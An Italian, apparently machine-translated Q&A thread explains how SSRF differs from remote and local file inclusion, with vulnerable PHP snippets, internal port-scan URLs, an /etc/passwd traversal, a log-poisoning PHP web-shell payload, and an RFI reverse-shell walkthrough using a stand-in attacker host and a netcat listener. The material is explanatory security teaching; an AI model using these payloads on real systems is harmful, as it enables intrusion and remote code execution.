C'è qualche differenza tra quelli? Possiamo dire che Fuso di richiesta lato server (SSRF) è una generalizzazione di Inclusione file remoto (RFI) e Inclusione file locale (LFI)?
C'è qualche differenza tra quelli? Possiamo dire che Fuso di richiesta lato server (SSRF) è una generalizzazione di Inclusione file remoto (RFI) e Inclusione file locale (LFI)?
SSRF e RFI / LFI sono entrambi attacchi di iniezione, ma sono diversi e possono avere implicazioni diverse a seconda di come sono implementati.
Per SSRF, considera l'esempio di seguito:
if (isset($_GET['uri'])){
$uri = $_GET['uri'];
$location = fopen($uri, 'rb');
Nel codice sopra l'utente ha il controllo sul parametro "uri" e può effettuare richieste arbitrarie a un server esterno dal server di destinazione. Ora, questo può anche essere abusato per fare richieste alle risorse a cui il server di destinazione ha accesso. Qualcosa come link o accedere ad altre risorse interne. È possibile enumerare ulteriormente porte / servizi della rete locale oppure utilizzare schemi "file: //" e "dict: //" per accedere ai file sul server.
RFI / LFI, guarda il codice in DVWA: link
if( isset( $file ) )
include( $file );
Questo è molto simile a SSRF, ma può anche essere abusato per includere il proprio codice PHP ed eseguirlo sul server. Ci sono diversi modi in cui si può sfruttare LFI / RFI per ottenere RCE. Potresti dare un'occhiata a questo documento:
È quasi la stessa di RFI. Le stesse due vulnerabilità possono esistere all'interno della stessa funzione. L'avvertenza è che molte applicazioni web possono bloccare l'accesso a domini esterni attraverso un firewall o altro, rendendo la porzione RFI "impossibile" per un host esterno .
Immagina di avere un'app Web che ti chiede un URL specifico e genera informazioni basate sull'URL.
Supponiamo che RFI sia bloccato a livello di firewall perché non è in grado di comunicare con fonti esterne e solo gli host interni sono autorizzati. O forse possiamo presumere che il motore del preprocessore o l'applicazione web abbia funzionalità che impediscono l'esecuzione di codice in modalità remota tramite l'uso dell'escaping, ecc.
Bene, cosa succede se hai inserito gli interni indirizzi IP invece di un IP esterno?
hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100
Se l'applicazione web restituisce informazioni basate su quella pagina, potrebbe essere possibile trasformarla in RCE, o persino eseguire una scansione delle porte contro risorse interne usando SSRF.
Proviamo una "scansione" su una porta SSH:
hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22
che restituisce il seguente errore:
PHP Warning: fopen(http://10.40.20.100:22):
failed to open stream: HTTP request failed!
SSH-2.0-OpenSSH_7.7p1 Debian-3 in
/home/markfluffybunnybuffalo/test.php on line 2
Hai appena rivelato di avere SSH aperto su quell'indirizzo di rete interno. Hmm. Forse puoi fare qualche enumerazione su altre porte e vedere cosa è aperto. Potresti anche trovare un archivio di file da qualche parte con cui puoi ottenere una sorta di interno RFI in corso.
Potresti riuscire a leggere le risorse che sono generalmente disponibili solo sulla rete interna.
Gli attacchi SSRF possono anche funzionare come un attacco RFI in alcuni casi. Ma in generale, le persone (spero) disabiliteranno l'inclusione di file non sul server web stesso.
Una funzione vulnerabile a LFI può anche essere vulnerabile a RFI. Dipende. In questo scenario, stai includendo un file locale, come
hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
Questo ti consente di vedere quali utenti si trovano nel sistema, quindi potresti provare a connetterti tramite SSH come uno di quegli utenti, o trovare più informazioni su di essi. Ci sono molte cose diverse che puoi fare con questo.
Forse puoi anche includere uno script che hai scritto sul server, o forse hai avvelenato il access.log con il codice che verrebbe eseguito da un motore del preprocessore (come il posizionamento di <? echo shell_exec($_GET["c"]); ?> in una richiesta legittima che viene registrato), per ottenere l'esecuzione del codice remoto come un utente diverso a seconda del contesto.
Vedi sopra, solo permette i file remoti. Potrebbe essere possibile che la funzione sia vulnerabile sia a LFI che a RFI.
Con RFI, la probabilità di esecuzione del codice è molto alta. È possibile ospitare un server Web che restituisce il codice PHP senza elaborarlo tramite il motore del preprocessore, che viene quindi eseguito sul server della vittima.
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
Se inserisci il codice PHP in quel file, potresti essere in grado di eseguire codice con questa vulnerabilità. Un esempio sta usando il codice inverso della shell. Avresti sollevato un ascoltatore:
nc -nlvp 4444
E poi visita la pagina con la vulnerabilità RFI, che dovrebbe attivare la tua shell inversa:
connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami
markfluffybunnybuffalo
Leggi altre domande sui tag ssrf file-inclusion